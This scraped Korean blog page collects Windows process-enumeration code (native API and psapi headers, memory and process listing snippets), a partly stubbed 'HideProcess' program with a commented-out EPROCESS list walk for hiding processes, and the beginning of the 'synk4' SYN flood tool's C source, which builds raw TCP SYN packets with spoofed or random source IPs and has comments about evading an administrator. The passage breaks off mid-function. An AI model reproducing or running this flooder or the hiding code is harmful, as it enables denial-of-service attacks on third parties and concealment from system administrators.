//nativeAPI.h
#ifndef _NATIVEAPI_H
#define _NATIVEAPI_H

extern "C" {


//ntddk.h
typedef LONG NTSTATUS, *PNTSTATUS, **PPNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)


#ifndef _NTDDK_
/*	typedef struct _IO_COUNTERS {
		ULONGLONG ReadOperationCount;
		ULONGLONG WriteOperationCount;
		ULONGLONG OtherOperationCount;
		ULONGLONG ReadTransferCount;
		ULONGLONG WriteTransferCount;
		ULONGLONG OtherTransferCount;
	} IO_COUNTERS;
	typedef IO_COUNTERS *PIO_COUNTERS;*/
#endif

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;

typedef enum _POOL_TYPE {
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS,
    MaxPoolType

    // end_wdm
    ,
    //
    // Note these per session types are carefully chosen so that the appropriate
    // masking still applies as well as MaxPoolType above.
    //

    NonPagedPoolSession = 32,
    PagedPoolSession = NonPagedPoolSession + 1,
    NonPagedPoolMustSucceedSession = PagedPoolSession + 1,
    DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1,
    NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1,
    PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1,
    NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1,

    // begin_wdm

    } POOL_TYPE;

//

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation,              // 0
    SystemProcessorInformation,          // 1
    SystemPerformanceInformation,        // 2
    SystemTimeOfDayInformation,          // 3
    SystemNotImplemented1,               // 4
    SystemProcessesAndThreadsInformation, // 5
    SystemCallCounts,                    // 6
    SystemConfigurationInformation,      // 7
    SystemProcessorTimes,                // 8
    SystemGlobalFlag,                    // 9
    SystemNotImplemented2,               // 10
    SystemModuleInformation,             // 11
    SystemLockInformation,               // 12
    SystemNotImplemented3,               // 13
    SystemNotImplemented4,               // 14
    SystemNotImplemented5,               // 15
    SystemHandleInformation,             // 16
    SystemObjectInformation,             // 17
    SystemPagefileInformation,           // 18
    SystemInstructionEmulationCounts,    // 19
    SystemInvalidInfoClass1,             // 20
    SystemCacheInformation,              // 21
    SystemPoolTagInformation,            // 22
    SystemProcessorStatistics,           // 23
    SystemDpcInformation,                // 24
    SystemNotImplemented6,               // 25
    SystemLoadImage,                     // 26
    SystemUnloadImage,                   // 27
    SystemTimeAdjustment,                // 28
    SystemNotImplemented7,               // 29
    SystemNotImplemented8,               // 30
    SystemNotImplemented9,               // 31
    SystemCrashDumpInformation,          // 32
    SystemExceptionInformation,          // 33
    SystemCrashDumpStateInformation,     // 34
    SystemKernelDebuggerInformation,     // 35
    SystemContextSwitchInformation,      // 36
    SystemRegistryQuotaInformation,      // 37
    SystemLoadAndCallImage,              // 38
    SystemPrioritySeparation,            // 39
    SystemNotImplemented10,              // 40
    SystemNotImplemented11,              // 41
    SystemInvalidInfoClass2,             // 42
    SystemInvalidInfoClass3,             // 43
    SystemTimeZoneInformation,           // 44
    SystemLookasideInformation,          // 45
    SystemSetTimeSlipEvent,              // 46
    SystemCreateSession,                 // 47
    SystemDeleteSession,                 // 48
    SystemInvalidInfoClass4,             // 49
    SystemRangeStartInformation,         // 50
    SystemVerifierInformation,           // 51
    SystemAddVerifier,                   // 52
    SystemSessionProcessesInformation    // 53
} SYSTEM_INFORMATION_CLASS;

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );


//NTDLL.DLL
typedef LONG NTSTATUS, *PNTSTATUS, **PPNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

typedef struct _VM_COUNTERS {
    ULONG PeakVirtualSize;
    ULONG VirtualSize;
    ULONG PageFaultCount;
    ULONG PeakWorkingSetSize;
    ULONG WorkingSetSize;
    ULONG QuotaPeakPagedPoolUsage;
    ULONG QuotaPagedPoolUsage;
    ULONG QuotaPeakNonPagedPoolUsage;
    ULONG QuotaNonPagedPoolUsage;
    ULONG PagefileUsage;
    ULONG PeakPagefileUsage;
} VM_COUNTERS;
typedef VM_COUNTERS *PVM_COUNTERS;

//typedef NTSTATUS (NTAPI *NTPROC) ();

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;

typedef LONG KPRIORITY;
typedef LONG THREAD_STATE;
typedef LONG KWAIT_REASON;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR
    PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

typedef struct _SYSTEM_THREADS {
	LARGE_INTEGER KernelTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER CreateTime;
	ULONG WaitTime;
	PVOID StartAddress;
	CLIENT_ID ClientId;
	KPRIORITY Priority;
	KPRIORITY BasePriority;
	ULONG ContextSwitchCount;
	THREAD_STATE State;
	KWAIT_REASON WaitReason;
}SYSTEM_THREADS, *PSYSTEM_THREADS;


typedef struct _SYSTEM_PROCESSES { 	//Information 5
	ULONG NextEntryDelta;
	ULONG ThreadCount;
	ULONG Reserved1[6];
	LARGE_INTEGER CreateTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER KernelTime;
	UNICODE_STRING ProcessName;
	KPRIORITY BasePriority;
	ULONG ProcessId;
	ULONG InheritedFromProcessId;
	ULONG HandleCount;
	ULONG Reserved2[2];
	VM_COUNTERS VmCounters;
	IO_COUNTERS IoCounters;
	SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

typedef struct _SYSTEM_HANDLE_INFORMATION {	//Information 16
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;			// 0x01 = PROTECT_FROM_CLOSE, 0x02 = INHERIT
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;




typedef struct _OBJECT_NAME_INFORMATION {               
    UNICODE_STRING Name;                                
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;


typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectBasicInformation,             // 0
    ObjectNameInformation,              // 1
    ObjectTypeInformation,              // 2
    ObjectAllTypesInformation,          // 3
    ObjectHandleInformation             // 4
} OBJECT_INFORMATION_CLASS;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryObject(
    IN HANDLE ObjectHandle,
    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
    OUT PVOID ObjectInformation,
    IN ULONG ObjectInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );

typedef struct _OBJECT_BASIC_INFORMATION { // Information 0
    ULONG Attributes;
    ACCESS_MASK GrantedAccess;
    ULONG HandleCount;
    ULONG PointerCount;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
    ULONG Reserved[3];
    ULONG NameInformationLength;
    ULONG TypeInformationLength;
    ULONG SecurityDescriptorLength;
    LARGE_INTEGER CreateTime;
} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;

typedef struct _OBJECT_TYPE_INFORMATION { // Information 2
    UNICODE_STRING Name;
    ULONG ObjectCount;
    ULONG HandleCount;
    ULONG Reserved1[4];
    ULONG PeakObjectCount;
    ULONG PeakHandleCount;
    ULONG Reserved2[4];
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    UCHAR Unknown;
    BOOLEAN MaintainHandleDatabase;
    UCHAR Reserved3[2];
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

}// extern "C"
#endif

'Source' 카테고리의 다른 글

Process Memory Quantity  (0) 2011.12.08
psapi.h  (0) 2011.12.08
프로세스 절대 경로  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
HideProcess  (0) 2011.11.30
#include    
#include    
#include    
#include    
#pragma comment( lib, "psapi")   

void PrintMemoryInfo ( DWORD processID )   
{   
    HANDLE hProcess;   
    PROCESS_MEMORY_COUNTERS pmc;   
       
    // Print the process identifier.  
    printf( "\nProcess ID: %u\n", processID );   
       
    // Print information about the memory usage of the process.   
    hProcess = OpenProcess (  PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );   
    if ( NULL == hProcess )   
        return;   
       
    if ( GetProcessMemoryInfo ( hProcess, &pmc, sizeof(pmc) ) )   
    {   
        printf( "\t PageFaultCount: %d\n", pmc.PageFaultCount);   
        printf( "\t PeakWorkingSetSize:  %d KB\n", pmc.PeakWorkingSetSize/1024);
        printf( "\t WorkingSetSize:  %d KB\n", pmc.WorkingSetSize/1024);   
        printf( "\t QuotaPeakPagedPoolUsage:  %d KB\n", pmc.QuotaPeakPagedPoolUsage /1024);   
        printf( "\t QuotaPagedPoolUsage:  %d KB\n", pmc.QuotaPagedPoolUsage /1024);   
        printf( "\t QuotaPeakNonPagedPoolUsage:  %d KB\n", pmc.QuotaPeakNonPagedPoolUsage /1024);   
        printf( "\t QuotaNonPagedPoolUsage:  %d KB\n", pmc.QuotaNonPagedPoolUsage /1024);   
        printf( "\t PagefileUsage:  %d KB\n", pmc.PagefileUsage /1024);    
        printf( "\t PeakPagefileUsage:  %d KB\n", pmc.PeakPagefileUsage /1024);   
    }   
       
    CloseHandle ( hProcess );   
}   
//////////////////////////////////////////////////////////////////////////////////////////////
int main( )   
{   
    // Get the list of process identifiers.
    DWORD aProcesses[1024], cbNeeded, cProcesses;   
    unsigned int i;   
       
    if ( !EnumProcesses ( aProcesses, sizeof(aProcesses), &cbNeeded ) )   
        return 1;   
       
    // Calculate how many process identifiers were returned.   
    cProcesses = cbNeeded / sizeof(DWORD);   
       
    // Print the memory usage for each process
    for ( i = 0; i < cProcesses; i++ )   
        PrintMemoryInfo ( aProcesses[i] );   
       
    system("pause");   
    return 0;   
}
//////////////////////////////////////////////////////////////////////////////////////////////

'Source' 카테고리의 다른 글

nativeAPI.h  (0) 2011.12.09
psapi.h  (0) 2011.12.08
프로세스 절대 경로  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
HideProcess  (0) 2011.11.30

/* http://corelibrary.sourceforge.net/doxygen/files.html 해당사이트에서 정보확인 */

/***************************** License **********************************
 
 Copyright (C) 2008 by Communicative Machines
 http://www.cmlabs.com   All rights reserved.
 
 This library is free software; you can redistribute it and/or
 modify it under the terms of the GNU Lesser General Public
 License as published by the Free Software Foundation; either
 version 2.1 of the License, or (at your option) any later version.
 
 This library is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 Lesser General Public License for more details.
 
 You should have received a copy of the GNU Lesser General Public
 License along with this library; if not, write to the Free Software
 Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
 
************************************************************************/
 
 
/*++ BUILD Version: 0001    // Increment this if a change has global effects
 
Copyright (c) 1994-1999  Microsoft Corporation
 
Module Name:
 
    psapi.h

Abstract:
 
    Include file for APIs provided by PSAPI.DLL
 
Author:
 
    Richard Shupak   [richards]  06-Jan-1994
 
Revision History:

--*/

#ifndef _PSAPI_H_
#define _PSAPI_H_

#if _MSC_VER > 1000
#pragma once
#endif

#ifdef __cplusplus
extern "C" {
#endif

BOOL
WINAPI
EnumProcesses(
    DWORD * lpidProcess,
    DWORD   cb,
    DWORD * cbNeeded
    );
 
BOOL
WINAPI
EnumProcessModules(
    HANDLE hProcess,
    HMODULE *lphModule,
    DWORD cb,
    LPDWORD lpcbNeeded
    );
 
DWORD
WINAPI
GetModuleBaseNameA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpBaseName,
    DWORD nSize
    );
 
DWORD
WINAPI
GetModuleBaseNameW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleBaseName  GetModuleBaseNameW
#else
#define GetModuleBaseName  GetModuleBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetModuleFileNameExA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetModuleFileNameExW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleFileNameEx  GetModuleFileNameExW
#else
#define GetModuleFileNameEx  GetModuleFileNameExA
#endif // !UNICODE


typedef struct _MODULEINFO {
    LPVOID lpBaseOfDll;
    DWORD SizeOfImage;
    LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;


BOOL
WINAPI
GetModuleInformation(
    HANDLE hProcess,
    HMODULE hModule,
    LPMODULEINFO lpmodinfo,
    DWORD cb
    );
 

BOOL
WINAPI
EmptyWorkingSet(
    HANDLE hProcess
    );


BOOL
WINAPI
QueryWorkingSet(
    HANDLE hProcess,
    PVOID pv,
    DWORD cb
    );

BOOL
WINAPI
InitializeProcessForWsWatch(
    HANDLE hProcess
    );


typedef struct _PSAPI_WS_WATCH_INFORMATION {
    LPVOID FaultingPc;
    LPVOID FaultingVa;
} PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;

BOOL
WINAPI
GetWsChanges(
    HANDLE hProcess,
    PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
    DWORD cb
    );

DWORD
WINAPI
GetMappedFileNameW(
    HANDLE hProcess,
    LPVOID lpv,
    LPWSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetMappedFileNameA(
    HANDLE hProcess,
    LPVOID lpv,
    LPSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetMappedFileName  GetMappedFileNameW
#else
#define GetMappedFileName  GetMappedFileNameA
#endif // !UNICODE
 
BOOL
WINAPI
EnumDeviceDrivers(
    LPVOID *lpImageBase,
    DWORD cb,
    LPDWORD lpcbNeeded
    );


DWORD
WINAPI
GetDeviceDriverBaseNameA(
    LPVOID ImageBase,
    LPSTR lpBaseName,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverBaseNameW(
    LPVOID ImageBase,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameW
#else
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetDeviceDriverFileNameA(
    LPVOID ImageBase,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverFileNameW(
    LPVOID ImageBase,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverFileName  GetDeviceDriverFileNameW
#else
#define GetDeviceDriverFileName  GetDeviceDriverFileNameA
#endif // !UNICODE

// Structure for GetProcessMemoryInfo()

typedef struct _PROCESS_MEMORY_COUNTERS {
    DWORD cb;
    DWORD PageFaultCount;
    SIZE_T PeakWorkingSetSize;
    SIZE_T WorkingSetSize;
    SIZE_T QuotaPeakPagedPoolUsage;
    SIZE_T QuotaPagedPoolUsage;
    SIZE_T QuotaPeakNonPagedPoolUsage;
    SIZE_T QuotaNonPagedPoolUsage;
    SIZE_T PagefileUsage;
    SIZE_T PeakPagefileUsage;
} PROCESS_MEMORY_COUNTERS;
typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;

BOOL
WINAPI
GetProcessMemoryInfo(
    HANDLE Process,
    PPROCESS_MEMORY_COUNTERS ppsmemCounters,
    DWORD cb
    );

typedef struct _PERFORMANCE_INFORMATION {
    DWORD cb;
    SIZE_T CommitTotal;
    SIZE_T CommitLimit;
    SIZE_T CommitPeak;
    SIZE_T PhysicalTotal;
    SIZE_T PhysicalAvailable;
    SIZE_T SystemCache;
    SIZE_T KernelTotal;
    SIZE_T KernelPaged;
    SIZE_T KernelNonpaged;
    SIZE_T PageSize;
    DWORD HandleCount;
    DWORD ProcessCount;
    DWORD ThreadCount;
} PERFORMANCE_INFORMATION, *PPERFORMANCE_INFORMATION, PERFORMACE_INFORMATION, *PPERFORMACE_INFORMATION;

BOOL
WINAPI
GetPerformanceInfo (
    PPERFORMACE_INFORMATION pPerformanceInformation,
    DWORD cb
    );

typedef struct _ENUM_PAGE_FILE_INFORMATION {
    DWORD cb;
    DWORD Reserved;
    SIZE_T TotalSize;
    SIZE_T TotalInUse;
    SIZE_T PeakUsage;
} ENUM_PAGE_FILE_INFORMATION, *PENUM_PAGE_FILE_INFORMATION;

typedef BOOL (*PENUM_PAGE_FILE_CALLBACKW) (LPVOID pContext, PENUM_PAGE_FILE_INFORMATION pPageFileInfo, LPCWSTR lpFilename);

typedef BOOL (*PENUM_PAGE_FILE_CALLBACKA) (LPVOID pContext, PENUM_PAGE_FILE_INFORMATION pPageFileInfo, LPCSTR lpFilename);

BOOL
WINAPI
EnumPageFilesW (
    PENUM_PAGE_FILE_CALLBACKW pCallBackRoutine,
    LPVOID pContext
    );

BOOL
WINAPI
EnumPageFilesA (
    PENUM_PAGE_FILE_CALLBACKA pCallBackRoutine,
    LPVOID pContext
    );

#ifdef UNICODE
#define PENUM_PAGE_FILE_CALLBACK PENUM_PAGE_FILE_CALLBACKW
#define EnumPageFiles EnumPageFilesW
#else
#define PENUM_PAGE_FILE_CALLBACK PENUM_PAGE_FILE_CALLBACKA
#define EnumPageFiles EnumPageFilesA
#endif // !UNICODE

DWORD
WINAPI
GetProcessImageFileNameA(
    HANDLE hProcess,
    LPSTR lpImageFileName,
    DWORD nSize
    );

DWORD
WINAPI
GetProcessImageFileNameW(
    HANDLE hProcess,
    LPWSTR lpImageFileName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetProcessImageFileName  GetProcessImageFileNameW
#else
#define GetProcessImageFileName  GetProcessImageFileNameA
#endif // !UNICODE

#ifdef __cplusplus
}
#endif

#endif

'Source' 카테고리의 다른 글

nativeAPI.h  (0) 2011.12.09
Process Memory Quantity  (0) 2011.12.08
프로세스 절대 경로  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
HideProcess  (0) 2011.11.30
DWORD dwPid = 2904;	// Process ID
HANDLE hProcess = OpenProcess ( SYNCHRONIZE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );

	HMODULE hmd;
	TCHAR szFileName[MAX_PATH] = { 0, };

	if ( hProcess != NULL )
	{
		DWORD dwSize2 = 0;
		LPTSTR pszName = NULL;

		if ( EnumProcessModules ( hProcess, &hmd, sizeof( hmd ), &dwSize2 ) )
		{
			GetModuleFileNameEx ( hProcess, hmd, szFileName, _countof( szFileName ) );
		}
	}

'Source' 카테고리의 다른 글

Process Memory Quantity  (0) 2011.12.08
psapi.h  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
HideProcess  (0) 2011.11.30
Syn Flooding  (0) 2011.11.30
#include 
#include 
/* Process, Thread, Module, Heap 열거를 위한 함수 - [CreateToolhelp32Snapshot()를 사용] */
#include 

int main ( int argc, char* argv[] )
{    
    HANDLE hProcess = NULL;
    PROCESSENTRY32 pe32 = {0};   // 프로세스 상태 정보를 담을 구조체 선언
    
    hProcess = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );
    pe32.dwSize = sizeof ( PROCESSENTRY32 );
    
    printf ("[%25s \t %5s] \n", "System Process", "PID");
    
    /* 
    첫번째 프로세스의 정보를 가져오는 경우와 다음 프로세스 정보를 가져올 경우
    Process32First, Process32Next 해당함수를 사용하게 됩니다.
    */
    if ( Process32First ( hProcess, &pe32 ) )
    {
        while ( Process32Next ( hProcess, &pe32 ) )
        {
            printf ( ("%25s \t %5d \n"), pe32.szExeFile, pe32.th32ProcessID);
        }
        
    } else {
        printf ("■■■■■■■\n");
    }
    CloseHandle ( hProcess );

    return 0;
}

'Source' 카테고리의 다른 글

psapi.h  (0) 2011.12.08
프로세스 절대 경로  (0) 2011.12.08
HideProcess  (0) 2011.11.30
Syn Flooding  (0) 2011.11.30
/asm/thread_info.h  (0) 2011.11.30
#include "stdafx.h"
#include "windows.h"
#include "nativeAPI.h"
#include 
#include 
#include 

void ListProcessNThread();
void HideProcess();
DWORD FindProcessEPROC(int PID);

int main (int argc, char* argv[])
{
    int select=0;
    
    while(1) {
        system("CLS");
        printf ("\n\n\t# Process Management - BlackH3s #\n\n");
        printf ("\t1. Taskmgr \n");
        printf ("\t2. Hide Process \n");
        printf ("\t3. Exit \n\n");
        printf ("\t[ ]\b\b");
        
        scanf_s ("%d",&select,1);
        
        switch(select) {
        case 1:
            ListProcessNThread();
            _getch();
            break;
            
        case 2:
            HideProcess();
            break;
            
        case 3:
            exit(1);
            break;
            
        default:
            printf("RESELECT AGAIN~~\n");   
            _getch();
            break;
        }
    }
}
////////////////////////////////////////////////////////////////////////////////////////////
void HideProcess()
{
    int ppid=0;
    system("CLS");
    printf ("\n\n\tWhich process want hidden? \n");
    printf ("\tIf you enter '0', Back to Menu \n");
    printf ("\t[ ]\b\b"); 
    scanf_s ("%d",&ppid);
    
    if(ppid!=0) {
        
        // FindProcessEPROC(ppid);
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ppid);
 
        //if ( NULL == hProcess ) {
        printf("test");
        _getch();
        //}
    }
    // OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwProcessId);
    // DWORD dwProcessId;
}
////////////////////////////////////////////////////////////////////////////////////////////
void ListProcessNThread()
{
    ULONG dwAllocedSize, dwNeeded;
    PSYSTEM_PROCESSES pProcesses;
    NTSTATUS Status;
    int nThreadCount = 0;
       
    //1. Get Buffer of information data
    dwAllocedSize = 0x1000;
       
    while(TRUE) {
        pProcesses = (PSYSTEM_PROCESSES)VirtualAlloc(NULL, dwAllocedSize, MEM_COMMIT,
        PAGE_READWRITE);
        
        Status = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation,
            pProcesses, dwAllocedSize, &dwNeeded);
        
        if(Status == STATUS_INFO_LENGTH_MISMATCH) {
            VirtualFree(pProcesses, dwAllocedSize, MEM_DECOMMIT);
                        
            if (dwNeeded > dwAllocedSize) {
                dwAllocedSize = dwNeeded;
            }
            else {
                dwAllocedSize += 0x500;
                
            }
        }
        else if (NT_SUCCESS(Status)) {
            break;
        }
        else {
            break;
        }
    }
        
    while (pProcesses->NextEntryDelta != 0) {
        pProcesses = (PSYSTEM_PROCESSES)((char *)pProcesses + pProcesses->NextEntryDelta);
        // Print Process Information
        printf("PID:%d - %.*ws\n", 
            pProcesses->ProcessId, 
            pProcesses->ProcessName.Length / 2,
            pProcesses->ProcessName.Buffer);
    }
}
////////////////////////////////////////////////////////////////////////////////////////////
/*
return 0;
}

DWORD FindProcessEPROC(int PID)
{
    DWORD eproc=0x00000000;
    int current_PID=0;
    int start_PID=0;
    int i_count =0;
    PLIST_ENTRY plist_active_procs;
    
    
    if(PID ==0)
        return PID;
    
    
    eproc =(DWORD)PsGetCurrentProcess();
    start_PID = *((int *)(eproc+PIDOFFSET));
    current_PID=start_PID;
    while(1)
    {
        if(PID ==current_PID)
            return eproc;
        else if((i_count >= 1) && (start_PID ==current_PID))
        {
            return 0x0000000;
        }
        else{
            plist_active_procs=(LIST_ENTRY *)(eproc+FLINKOFFSET);
            eproc = (DWORD) plist_active_procs->Flink;
            eproc = eproc - FLINKOFFSET;
            current_PID = *((int *)(eproc+PIDOFFSET));
            i_count++;
        }
    }
}
*/
/////////////////////////////////////////////////////////////////////////////////////////////

'Source' 카테고리의 다른 글

프로세스 절대 경로  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
Syn Flooding  (0) 2011.11.30
/asm/thread_info.h  (0) 2011.11.30
/include/linux/sched.h  (0) 2011.11.30
/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
 * Some more code by Zakath.
 * Speed/Misc Tweaks/Enhancments -- ultima
 * Nice Interface -- ultima
 * Random IP Spoofing Mode -- ultima
 * How To Use:
 * Usage is simple. srcaddr is the IP the packets will be spoofed from.
 * dstaddr is the target machine you are sending the packets to.
 * low and high ports are the ports you want to send the packets to.
 * Random IP Spoofing Mode: Instead of typing in a source address, 
 * just use '0'. This will engage the Random IP Spoofing mode, and
 * the source address will be a random IP instead of a fixed ip.
 * Released: [4.29.97]
 *  To compile: cc -o synk4 synk4.c
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
/* These can be handy if you want to run the flooder while the admin is on
 * this way, it makes it MUCH harder for him to kill your flooder */
/* Ignores all signals except Segfault */
// #define HEALTHY
/* Ignores Segfault */
// #define NOSEGV
/* Changes what shows up in ps -aux to whatever this is defined to */
// #define HIDDEN "vi .cshrc"
#define SEQ 0x28376839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
    
    while (nleft > 1)
      {
          sum += *w++;
          nleft -= 2;
      }
    if (nleft == 1)
      {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
      }
    sum = (sum >> 16) + (sum & 0xffff);	/* add hi 16 to low 16 */
    sum += (sum >> 16);		/* add carry */
    answer = ~sum;			/* truncate to 16 bits */
    return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
    printf(" [H [JSignal Caught. Exiting Cleanly.\n");
    exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
    printf(" [H [JSegmentation Violation Caught. Exiting Cleanly.\n");
    exit(crap);
#endif
}

unsigned long getaddr(char *name) {
    struct hostent *hep;
    
    hep=gethostbyname(name);
    if(!hep) {
        fprintf(stderr, "Unknown host %s\n", name);
        exit(1);
    }
    return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
    char buf[65536];
    struct {  /* rfc 793 tcp pseudo-header */
        unsigned long saddr, daddr;
        char mbz;
        char ptcl;
        unsigned short tcpl;
    } ph;
    
    struct sockaddr_in sin;    /* how necessary is this, given that the destination address is already in the ip header? */
    
    ph.saddr=ih->saddr;
    ph.daddr=ih->daddr;
    ph.mbz=0;
    ph.ptcl=IPPROTO_TCP;
    ph.tcpl=htons(sizeof(*th)+dlen);
    
    memcpy(buf, &ph, sizeof(ph));
    memcpy(buf+sizeof(ph), th, sizeof(*th));
    memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
    memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
    th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
    
    memcpy(buf, ih, 4*ih->ihl);
    memcpy(buf+4*ih->ihl, th, sizeof(*th));
    memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
    memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
    
    ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
    memcpy(buf, ih, 4*ih->ihl);
    
    sin.sin_family=AF_INET;
    sin.sin_port=th->dest;
    sin.sin_addr.s_addr=ih->daddr;
    
    if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
        printf("Error sending syn packet.\n"); perror("");
        exit(1);
    }
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
    int i, s;
    struct iphdr ih;
    struct tcphdr th;
    struct sockaddr_in sin;
    int sinsize;
    unsigned short myport=6969;
    char buf[1024];
    struct timeval tv;
    
    ih.version=4;
    ih.ihl=5;
    ih.tos=0;	/* XXX is this normal? */
    ih.tot_len=sizeof(ih)+sizeof(th);
    ih.id=htons(random());
    ih.frag_off=0;
    ih.ttl=30;
    ih.protocol=IPPROTO_TCP;
    ih.check=0;
    ih.saddr=my_ip;
    ih.daddr=their_ip;
    
    th.source=htons(srcport);
    th.dest=htons(port);
    th.seq=htonl(SEQ);
    th.doff=sizeof(th)/4;
    th.ack_seq=0;
    th.res1=0;
    th.fin=0;
    th.syn=1;
    th.rst=0;
    th.psh=0;
    th.ack=0;
    th.urg=0;
    th.window=htons(65535);
    th.check=0;
    th.urg_ptr=0;
    
    gettimeofday(&tv, 0);
    
    send_tcp_segment(&ih, &th, "", 0); 
    
    send_seq = SEQ+1+strlen(buf);
}
void upsc()
{
    int i;
    char schar;
    switch(cnt)
      {
      case 0:
            {
                schar = '|';
                break;
            }
      case 1:
            {
                schar = '/';
                break;
            }
      case 2:
            {
                schar = '-';
                break;
            }
      case 3:
            {
                schar = '\\';
                break;
            }
      case 4:
            {
                schar = '|';
                cnt = 0;
